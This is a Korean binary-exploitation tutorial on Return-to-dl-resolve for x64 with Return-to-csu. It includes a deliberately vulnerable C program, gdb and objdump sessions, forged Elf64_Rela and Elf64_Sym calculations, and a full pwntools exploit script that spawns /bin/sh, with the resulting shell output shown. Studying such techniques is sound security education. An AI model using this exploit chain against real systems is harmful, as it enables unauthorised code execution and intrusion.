Excuse the ads! We need some help to keep our site up.

List

Return-to-dl-resolve - x64

  • Return-to-dl-resolve란 프로그램에서 동적라이브러리 함수의 주소를 찾기 위해 Lazy binding 을 사용할 경우 활용이 가능한 기법입니다.
  • Return-to-dl-resolve는 Lazy binding 을 악용해 필요한 함수를 호출합니다.

Lazy binding

Source code - struct

  • x86과 x64의 차이점은 Elf32_Rel, Elf32_Sym 구조 대신 Elf64_Rela, Elf64_Sym 구조를 사용하는 것입니다.
  •  여기서 중요한 것은 구조체의 크기가 변경된다는 것입니다.
    • Elf32_Rel 구조체의 크기(8 byte) → Elf64_Rela 구조체의 크기(24 byte)
    • Elf32_Sym 구조체의 크기(16 byte) → Elf64_Sym 구조체의 크기(24 byte)
  • 이로 인하여 reloc_offset 값이 주소의 offset 값이 아닌 Elf64_Rela 구조체의 배열 인덱스가 되어야 합니다.
typedef uint64_t Elf64_Addr;
typedef uint64_t Elf64_Xword;
typedef	int64_t  Elf64_Sxword;

typedef struct
{
  Elf64_Addr        r_offset;                /* Address */
  Elf64_Xword        r_info;                        /* Relocation type and symbol index */
  Elf64_Sxword        r_addend;                /* Addend */
} Elf64_Rela;
typedef uint32_t Elf64_Word;
typedef uint16_t Elf64_Section;
typedef uint64_t Elf64_Addr;
typedef uint64_t Elf64_Xword;


typedef struct
{
  Elf64_Word        st_name;                /* Symbol name (string tbl index) */4
  unsigned char        st_info;                /* Symbol type and binding */1
  unsigned char st_other;                /* Symbol visibility */1
  Elf64_Section        st_shndx;                /* Section index */2
  Elf64_Addr        st_value;                /* Symbol value */8
  Elf64_Xword        st_size;                /* Symbol size */8
} Elf64_Sym;
  • _dl_fixup()함수는 다음과 같이 write() 함수의 이름을 찾습니다.
strtab + sym->st_name (x64)

Proof of concept

Example code

//gcc -fno-stack-protector -o rop rop.c
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    read(0, buf, 512);
}
 
void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

Overflow

  • 다음과 같이 Breakpoints를 설정합니다.
    • 0x400566 : vuln 함수 코드 첫부분

    • 0x40057f : read() 함수 호출 전

Breakpoints
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ gdb -q ./rop
Reading symbols from ./rop...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln 
Dump of assembler code for function vuln:
   0x0000000000400566 <+0>:	push   rbp
   0x0000000000400567 <+1>:	mov    rbp,rsp
   0x000000000040056a <+4>:	sub    rsp,0x40
   0x000000000040056e <+8>:	lea    rax,[rbp-0x40]
   0x0000000000400572 <+12>:	mov    edx,0x200
   0x0000000000400577 <+17>:	mov    rsi,rax
   0x000000000040057a <+20>:	mov    edi,0x0
   0x000000000040057f <+25>:	call   0x400440 <read@plt>
   0x0000000000400584 <+30>:	nop
   0x0000000000400585 <+31>:	leave  
   0x0000000000400586 <+32>:	ret    
End of assembler dump.
gdb-peda$ b *0x0000000000400566
Breakpoint 1 at 0x400566
gdb-peda$ b *0x000000000040057f
Breakpoint 2 at 0x40057f
gdb-peda$
  • 다음과 같이 Overflow를 확인할 수 있습니다.
    • Return address(0x7fffffffe488) - buf 변수의 시작 주소 (0x7fffffffe440) = 72

    • 즉, 72개 이상의 문자를 입력함으로써 Return address 영역을 덮어 쓸 수 있습니다.
Check overflow
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/dl-resolve/x64/rop 
Hello ROP
Breakpoint 1, 0x0000000000400566 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe488	0x7fffffffe488
gdb-peda$ c
Continuing.

Breakpoint 2, 0x000000000040057f in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe440	0x7fffffffe440
gdb-peda$ p/d 0x7fffffffe488 - 0x7fffffffe440
$1 = 72
gdb-peda$ 

Exploit method

  • ROP 기법을 이용한 Exploit의 순서는 다음과 같습니다.
Exploit 순서
  1. write() 함수를 이용하여 ".got.plt"영역에 저장된 link_map 구조체의 주소(".rela.plt" addr + 0x8)를 추출합니다.
  2. read() 함수를 이용하여 ".bss" 영역에 2번째 ROP코드를 저장합니다.
  3. "leave; ret;" Gadget을 이용하여 "2번재 ROP코드"가 저장된 영역으로 이동합니다.
  4. read() 함수를 이용하여 "l-> l_info [VERSYMIDX (DT_VERSYM)" 영역에 0 을 저장합니다.
  5. _dl_runtime_resolve() 함수에 전달될 인자 값을 설정합니다.
  6. _dl_runtime_resolve() 함수를 호출합니다.
  • 이를 코드로 표현하면 다음과 같습니다.
ROP code
#Stage1
#write(1,addr_got+8,8)
#read(0,base_stage,400)
#JMP base_stage + 8

#Stage2 
#read(0,addr_dt_versym,8)
#Setting argument values of system() function
#_dl_runtime_resolve(struct link_map *l, fake_reloc_offset)
  • payload를 바탕으로 공격을 위해 알아내어야 할 정보는 다음과 같습니다.
확인해야 할 정보 목록
  • Section Headers
    • .dynsym
    • .dynstr
    • .rela.plt
    • .plt
    • .got.plt
    • .bss
  • read@got , write@got 주소
  • FAKE reloc_offset, Fake Elf64_Rel, Fake Elf64_Sym 구조체

Find Section Headers

  • 다음과 같은 방식을 Section Headers를 찾을 수 있습니다.
readelf -S ./rop
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ readelf -S ./rop
There are 31 section headers, starting at offset 0x1a28:

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000           0     0     0
  [ 1] .interp           PROGBITS         0000000000400238  00000238
       000000000000001c  0000000000000000   A       0     0     1
  [ 2] .note.ABI-tag     NOTE             0000000000400254  00000254
       0000000000000020  0000000000000000   A       0     0     4
  [ 3] .note.gnu.build-i NOTE             0000000000400274  00000274
       0000000000000024  0000000000000000   A       0     0     4
  [ 4] .gnu.hash         GNU_HASH         0000000000400298  00000298
       000000000000001c  0000000000000000   A       5     0     8
  [ 5] .dynsym           DYNSYM           00000000004002b8  000002b8
       0000000000000078  0000000000000018   A       6     1     8
  [ 6] .dynstr           STRTAB           0000000000400330  00000330
       0000000000000043  0000000000000000   A       0     0     1
  [ 7] .gnu.version      VERSYM           0000000000400374  00000374
       000000000000000a  0000000000000002   A       5     0     2
  [ 8] .gnu.version_r    VERNEED          0000000000400380  00000380
       0000000000000020  0000000000000000   A       6     1     8
  [ 9] .rela.dyn         RELA             00000000004003a0  000003a0
       0000000000000018  0000000000000018   A       5     0     8
  [10] .rela.plt         RELA             00000000004003b8  000003b8
       0000000000000048  0000000000000018  AI       5    24     8
  [11] .init             PROGBITS         0000000000400400  00000400
       000000000000001a  0000000000000000  AX       0     0     4
  [12] .plt              PROGBITS         0000000000400420  00000420
       0000000000000040  0000000000000010  AX       0     0     16
  [13] .plt.got          PROGBITS         0000000000400460  00000460
       0000000000000008  0000000000000000  AX       0     0     8
  [14] .text             PROGBITS         0000000000400470  00000470
       00000000000001b2  0000000000000000  AX       0     0     16
  [15] .fini             PROGBITS         0000000000400624  00000624
       0000000000000009  0000000000000000  AX       0     0     4
  [16] .rodata           PROGBITS         0000000000400630  00000630
       000000000000000f  0000000000000000   A       0     0     4
  [17] .eh_frame_hdr     PROGBITS         0000000000400640  00000640
       000000000000003c  0000000000000000   A       0     0     4
  [18] .eh_frame         PROGBITS         0000000000400680  00000680
       0000000000000114  0000000000000000   A       0     0     8
  [19] .init_array       INIT_ARRAY       0000000000600e10  00000e10
       0000000000000008  0000000000000000  WA       0     0     8
  [20] .fini_array       FINI_ARRAY       0000000000600e18  00000e18
       0000000000000008  0000000000000000  WA       0     0     8
  [21] .jcr              PROGBITS         0000000000600e20  00000e20
       0000000000000008  0000000000000000  WA       0     0     8
  [22] .dynamic          DYNAMIC          0000000000600e28  00000e28
       00000000000001d0  0000000000000010  WA       6     0     8
  [23] .got              PROGBITS         0000000000600ff8  00000ff8
       0000000000000008  0000000000000008  WA       0     0     8
  [24] .got.plt          PROGBITS         0000000000601000  00001000
       0000000000000030  0000000000000008  WA       0     0     8
  [25] .data             PROGBITS         0000000000601030  00001030
       0000000000000010  0000000000000000  WA       0     0     8
  [26] .bss              NOBITS           0000000000601040  00001040
       0000000000000008  0000000000000000  WA       0     0     1
  [27] .comment          PROGBITS         0000000000000000  00001040
       0000000000000035  0000000000000001  MS       0     0     1
  [28] .shstrtab         STRTAB           0000000000000000  0000191a
       000000000000010c  0000000000000000           0     0     1
  [29] .symtab           SYMTAB           0000000000000000  00001078
       0000000000000678  0000000000000018          30    47     8
  [30] .strtab           STRTAB           0000000000000000  000016f0
       000000000000022a  0000000000000000           0     0     1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), l (large)
  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)
  O (extra OS processing required) o (OS specific), p (processor specific)
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$
PWNTOOLS
from pwn import *
from struct import *
   
#context.log_level = 'debug'
elf = ELF('./rop')
 
# get section address
addr_dynsym     = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr     = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relaplt     = elf.get_section_by_name('.rela.plt').header['sh_addr']
addr_plt        = elf.get_section_by_name('.plt').header['sh_addr']
addr_got    = elf.get_section_by_name('.got.plt').header['sh_addr']
addr_bss        = elf.get_section_by_name('.bss').header['sh_addr']
addr_got_read   = elf.got['read']
addr_got_write   = elf.got['write']
 
log.info('Section Headers')
log.info('.dynsym  : ' + hex(addr_dynsym))
log.info('.dynstr  : ' + hex(addr_dynstr))
log.info('.rela.plt : ' + hex(addr_relaplt))
log.info('.plt     : ' + hex(addr_plt))
log.info('.got     : ' + hex(addr_got))
log.info('.bss     : ' + hex(addr_bss))
log.info('read@got : ' + hex(addr_got_read))
log.info('write@got : ' + hex(addr_got_write))

Find gadget

  • 해당 바이너리에서는 "POP RSI", "POP RDI" Gadget을 찾을수 있지만, "POP RDX" Gadget을 찾을 수 없습니다.

    • 해당 바이너리에서는 lib 의 주소도 제공되지 않습니다.
Not found the "pop rdx" gadget
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ ./rp-lin-x64 -f ./rop -r 3|grep "pop rsi"
0x00400611: pop rsi ; pop r15 ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ ./rp-lin-x64 -f ./rop -r 3|grep "pop rdi"
0x00400613: pop rdi ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ ./rp-lin-x64 -f ./rop -r 3|grep "pop rdx"
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ ./rp-lin-x64 -f ./rop -r 10|grep "pop rdx"
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$
  • 이러한 문제를 해결하기 위해 Return-to-csu 를 이용합니다. 
  • 다음과 같이 return-to-csu gadget의 주소를 찾을 수 있습니다.
    • Gadget 1 : 0x40060a
    • Gadget 2 : 0x4005f0
    • Gadget 3 : 0x40060d
objdump -M intel -d ./rop
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ objdump -M intel -d ./rop
./rop:     file format elf64-x86-64
 
Disassembly of section .init:
...
 
Disassembly of section .plt:
...
 
Disassembly of section .text:
...

00000000004005b0 <__libc_csu_init>:
  4005b0:	41 57                	push   r15
  4005b2:	41 56                	push   r14
  4005b4:	41 89 ff             	mov    r15d,edi
  4005b7:	41 55                	push   r13
  4005b9:	41 54                	push   r12
  4005bb:	4c 8d 25 4e 08 20 00 	lea    r12,[rip+0x20084e]        # 600e10 <__frame_dummy_init_array_entry>
  4005c2:	55                   	push   rbp
  4005c3:	48 8d 2d 4e 08 20 00 	lea    rbp,[rip+0x20084e]        # 600e18 <__init_array_end>
  4005ca:	53                   	push   rbx
  4005cb:	49 89 f6             	mov    r14,rsi
  4005ce:	49 89 d5             	mov    r13,rdx
  4005d1:	4c 29 e5             	sub    rbp,r12
  4005d4:	48 83 ec 08          	sub    rsp,0x8
  4005d8:	48 c1 fd 03          	sar    rbp,0x3
  4005dc:	e8 1f fe ff ff       	call   400400 <_init>
  4005e1:	48 85 ed             	test   rbp,rbp
  4005e4:	74 20                	je     400606 <__libc_csu_init+0x56>
  4005e6:	31 db                	xor    ebx,ebx
  4005e8:	0f 1f 84 00 00 00 00 	nop    DWORD PTR [rax+rax*1+0x0]
  4005ef:	00 
  4005f0:	4c 89 ea             	mov    rdx,r13
  4005f3:	4c 89 f6             	mov    rsi,r14
  4005f6:	44 89 ff             	mov    edi,r15d
  4005f9:	41 ff 14 dc          	call   QWORD PTR [r12+rbx*8]
  4005fd:	48 83 c3 01          	add    rbx,0x1
  400601:	48 39 eb             	cmp    rbx,rbp
  400604:	75 ea                	jne    4005f0 <__libc_csu_init+0x40>
  400606:	48 83 c4 08          	add    rsp,0x8
  40060a:	5b                   	pop    rbx
  40060b:	5d                   	pop    rbp
  40060c:	41 5c                	pop    r12
  40060e:	41 5d                	pop    r13
  400610:	41 5e                	pop    r14
  400612:	41 5f                	pop    r15
  400614:	c3                   	ret    
  400615:	90                   	nop
  400616:	66 2e 0f 1f 84 00 00 	nop    WORD PTR cs:[rax+rax*1+0x0]
  40061d:	00 00 00 
0000000000400620 <__libc_csu_fini>:
  400620:	f3 c3                	repz ret 

Disassembly of section .fini:
0000000000400624 <_fini>:
  400624:	48 83 ec 08          	sub    rsp,0x8
  400628:	48 83 c4 08          	add    rsp,0x8
  40062c:	c3                   	ret    
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$

FAKE reloc_offset, Fake Elf64_Rel, Fake Elf64_Sym

  • 다음과 같이 Fake 정보 영역을 확보합니다.

    • addr_reloc 영역은 다음과 같이 계산됩니다.

      • addr_reloc의 기본 영역은 base_stage + 8*26 입니다.

      • 구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.

        • Elf64_Rel 구조체는 ".rela.plt" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.

      • base_stage ~ base_stage + 8*26 영역에는 return-to-csu Code가 저장됩니다.

    • addr_fake_sym 영역은 addr_reloc 에 Elf64_Rel 구조체 크기(24)을 더한 곳에 위치 합니다.

      • 구조체의 정확한 시작 위치를 설정하기 위해 재정렬을 진행합니다.

        • Elf64_Rel 구조체는 ".dynsym" 영역에서 24byte씩 값을 증가시켜 위치를 찾습니다.

    • addr_fake_symstr 영역은 addr_fake_sym 에서 Elf64_Sym 구조체 크기(24)를 더한 곳에 위치 합니다.

    • addr_fake_cmd 영역은 addr_fake_symstr 에서 문자열 "system\x00"(7)을 더한 곳에 위치 합니다.

  • 다음과 같이 Fake Elf32_Rel, Fake Elf32_Sym에 필요한 정보를 생성합니다.

    • addr_reloc 값에서 addr_relaplt 값을 빼서 값에 Elf64_Rel 구조체 크기(24)를 나누어서 fake_reloc_offset 값을 생성합니다.

      • (addr_reloc - addr_relaplt) / 24

    • fake_r_info 값은 다음과 같이 생성합니다.

      • addr_fake_sym 값에서 addr_dynsym 값을 뺀값에 구조체의 크기(24)를 나눕니다.

      • ELF32_R_TYPE 영역을 초기화 하기 위해 해당 값에 32로 '<<' 연산합니다.

      • ELF32_R_TYPE 값을 저장하기 위해 OR 연산을 이용하여 해당 영역에 0x7을 저장합니다.

    • addr_fake_symstr 값에서 addr_dynstr 값을 빼서 fake_st_name 값을 생성합니다.

FAKE reloc_offset, Fake Elf64_Rel, Fake Elf64_Sym
stacksize = 0x600
base_stage = addr_bss + stacksize

...

addr_reloc = base_stage + 8*26
align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24)
addr_reloc += align_reloc
align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24)

addr_fake_sym = addr_reloc + 24
addr_fake_sym += align_dynsym
addr_fake_symstr = addr_fake_sym + 24
addr_fake_cmd = addr_fake_symstr + 7

fake_reloc_offset	= (addr_reloc - addr_relaplt) / 24
fake_r_info	= (((addr_fake_sym - addr_dynsym) / 24) << 32)	#FAKE ELF32_R_SYM
fake_r_info	= fake_r_info | 0x7								#FAKE ELF32_R_TYPE
fake_st_name = addr_fake_symstr - addr_dynstr
Return-to-dl-resolve

  • 여기서 중요한 것은 "base_stage"영역에 Write(w)권한이 있어야 합니다.
    • 해당 영역에 쓰기권한이 없을 경우 _dl_lookup_symbol_x() 함수 처리중 에러가 발생합니다.
    • 예를 들어 "addr_bss"의 값이 "0x600a00" 일 경우.
      • "stacksize"의 값이 "0x400"이면 "base_stage"의 값이 "0x600e00"이기 때문에 값을 저장할 수 없습니다.(읽기 권한만 있음, 쓰기 권한 없음)
      • "stacksize"의 값이 "0x600"이면 "base_stage"의 값이 "0x601000"이기 때문에 값을 저장할 수 있습니다.(읽기, 쓰기 권한 있음)
Permission of memory.
gdb-peda$ vmmap 
Start              End                Perm	Name
0x00400000         0x00401000         r-xp	/home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop
0x00600000         0x00601000         r--p	/home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop
0x00601000         0x00602000         rw-p	/home/lazenca0x0/Exploit/Return-to-dl-resolve - x64(feat.Return-to-csu)/rop
0x00007f63119e5000 0x00007f6311ba5000 r-xp	/lib/x86_64-linux-gnu/libc-2.23.so
...

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)

  • 해당 문서에서 제공되는 Exploit code에는 "l->l_info[VERSYMIDX (DT_VERSYM)"영역에 값을 0으로 덮어씁니다.
    • "l->l_info[VERSYMIDX (DT_VERSYM)" 코드는 심볼의 버전 정보를 회득하는 부분입니다. 
    • 해당 영역에 값을 0으로 변경하지 않으면 다음과 같은 에러가 발생합니다.
gdb -q ./rop core
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ gdb -q ./rop core
Reading symbols from ./rop...(no debugging symbols found)...done.
[New LWP 94008]
Core was generated by `/home/lazenca0x0/Exploit/dl-resolve/x64/rop'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92
92	../elf/dl-runtime.c: No such file or directory.
gdb-peda$ bt
#0  _dl_fixup (l=0x7f4f9fbb5168, reloc_arg=<optimized out>) at ../elf/dl-runtime.c:92
#1  0x00007f4f9f9a5923 in _dl_runtime_resolve_avx () at ../sysdeps/x86_64/dl-trampoline.h:112
#2  0x0000000000000000 in ?? ()
gdb-peda$ x/2i $rip
=> 0x7f4f9f99da65 <_dl_fixup+117>:	movzx  eax,WORD PTR [rax+rdx*2]
   0x7f4f9f99da69 <_dl_fixup+121>:	and    eax,0x7fff
gdb-peda$ i r rax
rax            0x400374	0x400374
gdb-peda$ i r rdx
rdx            0x1561b	0x1561b
gdb-peda$
  • 다음 코드는 에러가 발생한 부분의 코드이며, 에러가 발생한 부분은 "l->l_info[VERSYMIDX (DT_VERSYM)" 입니다.
    • if문 안에 있는 코드들은 실행되지 않아도 Return-to-dl-resolve에 영향을 주지 않기 때문에 "l->l_info[VERSYMIDX (DT_VERSYM)" 영역에 값을 변경하여 우회합니다.
	const struct r_found_version *version = NULL;
 
	if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
	{
		const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
		ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
		version = &l->l_versions[ndx];
		if (version->hash == 0)
			version = NULL;
	}

Exploit code

Rop.py
from pwn import *
from struct import *
   
#context.log_level = 'debug'
elf = ELF('./rop')
 
# get section address
addr_dynsym     = elf.get_section_by_name('.dynsym').header['sh_addr']
addr_dynstr     = elf.get_section_by_name('.dynstr').header['sh_addr']
addr_relaplt     = elf.get_section_by_name('.rela.plt').header['sh_addr']
addr_plt        = elf.get_section_by_name('.plt').header['sh_addr']
addr_got    = elf.get_section_by_name('.got.plt').header['sh_addr']
addr_bss        = elf.get_section_by_name('.bss').header['sh_addr']
addr_got_read   = elf.got['read']
addr_got_write   = elf.got['write']
 
log.info('Section Headers')
log.info('.dynsym  : ' + hex(addr_dynsym))
log.info('.dynstr  : ' + hex(addr_dynstr))
log.info('.rela.plt : ' + hex(addr_relaplt))
log.info('.plt     : ' + hex(addr_plt))
log.info('.got     : ' + hex(addr_got))
log.info('.bss     : ' + hex(addr_bss))
log.info('read@got : ' + hex(addr_got_read))
log.info('write@got : ' + hex(addr_got_write))
 
addr_csu_init1 = 0x40060a       #   
addr_csu_init2 = 0x4005f0       #   
addr_leave_ret = 0x00400585	# leave; ret
addr_ret = 0x00400419		# ret
  
stacksize = 0x600
base_stage = addr_bss + stacksize
 
#write(1,addr_got+8,8)
buf1 = 'A' * 72
buf1 += p64(addr_csu_init1)
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_write)
buf1 += p64(8)
buf1 += p64(addr_got+8)
buf1 += p64(1)
buf1 += p64(addr_csu_init2)
#read(0,base_stage,400)
buf1 += 'AAAAAAAA'
buf1 += p64(0)
buf1 += p64(1)
buf1 += p64(addr_got_read)
buf1 += p64(400)
buf1 += p64(base_stage)
buf1 += p64(0)
buf1 += p64(addr_csu_init2)
#JMP base_stage + 8
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(base_stage)		# rbp
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += 'AAAAAAAA'
buf1 += p64(addr_leave_ret)

binary = ELF('./rop')
p = process(binary.path)
p.recvn(10)  
#sleep(20)
p.send(buf1)

#Get address of addr_dt_versym
addr_link_map = u64(p.read(8))
addr_dt_versym = addr_link_map + 0x1c8

addr_reloc = base_stage + 8*26
align_reloc = 24 - ((addr_reloc - addr_relaplt) % 24)
addr_reloc += align_reloc
align_dynsym = 24 - (( addr_reloc + 24 - addr_dynsym) % 24)

addr_fake_sym = addr_reloc + 24
addr_fake_sym += align_dynsym
addr_fake_symstr = addr_fake_sym + 24
addr_fake_cmd = addr_fake_symstr + 7

fake_reloc_offset	= (addr_reloc - addr_relaplt) / 24
fake_r_info	= (((addr_fake_sym - addr_dynsym) / 24) << 32)	#FAKE ELF32_R_SYM
fake_r_info	= fake_r_info | 0x7								#FAKE ELF32_R_TYPE
fake_st_name = addr_fake_symstr - addr_dynstr

log.info('')
log.info('Fake Struct Information') 
log.info('addr_csu_init1 :'+ hex(addr_csu_init1))
log.info('addr_got_read :'+ hex(addr_got_read))
log.info('addr_dt_versym :'+ hex(addr_dt_versym))
log.info('addr_csu_init2 :'+ hex(addr_csu_init2))
log.info('addr_ret :'+ hex(addr_ret))
log.info('base_stage + 8*9 :'+ hex(base_stage + 8*9))
log.info('addr_fake_cmd :'+hex(addr_fake_cmd))
 
#read(0,addr_dt_versym,8)
buf2 = 'AAAAAAAA'
buf2 += p64(addr_csu_init1)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(addr_got_read)
buf2 += p64(8)
buf2 += p64(addr_dt_versym)
buf2 += p64(0)
buf2 += p64(addr_csu_init2)
#Setting argument values of system() function
buf2 += p64(addr_ret)
buf2 += p64(0)
buf2 += p64(1)
buf2 += p64(base_stage + 8*9)	#address of addr_csu_init2
buf2 += 'B' * 8
buf2 += 'B' * 8
buf2 += p64(addr_fake_cmd)	#"/bin/sh"
buf2 += p64(addr_csu_init2)
buf2 += 'C' * 0x38
#_dl_runtime_resolve(struct link_map *l, fake_reloc_offset)
buf2 += p64(addr_plt)
buf2 += p64(fake_reloc_offset)
buf2 += 'A' * align_reloc
# Elf64_Rela
buf2 += p64(addr_got_read)     
buf2 += p64(fake_r_info)
buf2 += p64(0)
buf2 += 'A' * align_dynsym
# Elf64_Sym
buf2 += p32(fake_st_name)           
buf2 += p32(0x12)
buf2 += p64(0)
buf2 += p64(0)
#String "system"
buf2 += 'system\x00'
#String "/bin/sh"
buf2 += '/bin/sh\x00'
 
#sleep(10)
p.send(buf2)
#sleep(10)
p.send(p64(0))
p.interactive()
Get shell!
lazenca0x0@ubuntu:~/Exploit/dl-resolve/x64$ python exploit.py 
[*] '/home/lazenca0x0/Exploit/dl-resolve/x64/rop'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Section Headers
[*] .dynsym  : 0x4002b8
[*] .dynstr  : 0x400330
[*] .rela.plt : 0x4003b8
[*] .plt     : 0x400420
[*] .got     : 0x601000
[*] .bss     : 0x601040
[*] read@got : 0x601020
[*] write@got : 0x601018
[+] Starting local process '/home/lazenca0x0/Exploit/dl-resolve/x64/rop': pid 19575
[*] 
[*] Fake Struct Information
[*] addr_csu_init1 :0x40060a
[*] addr_got_read :0x601020
[*] addr_dt_versym :0x7f9b90b08330
[*] addr_csu_init2 :0x4005f0
[*] addr_ret :0x400419
[*] base_stage + 8*9 :0x601688
[*] addr_fake_cmd :0x601757
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$

References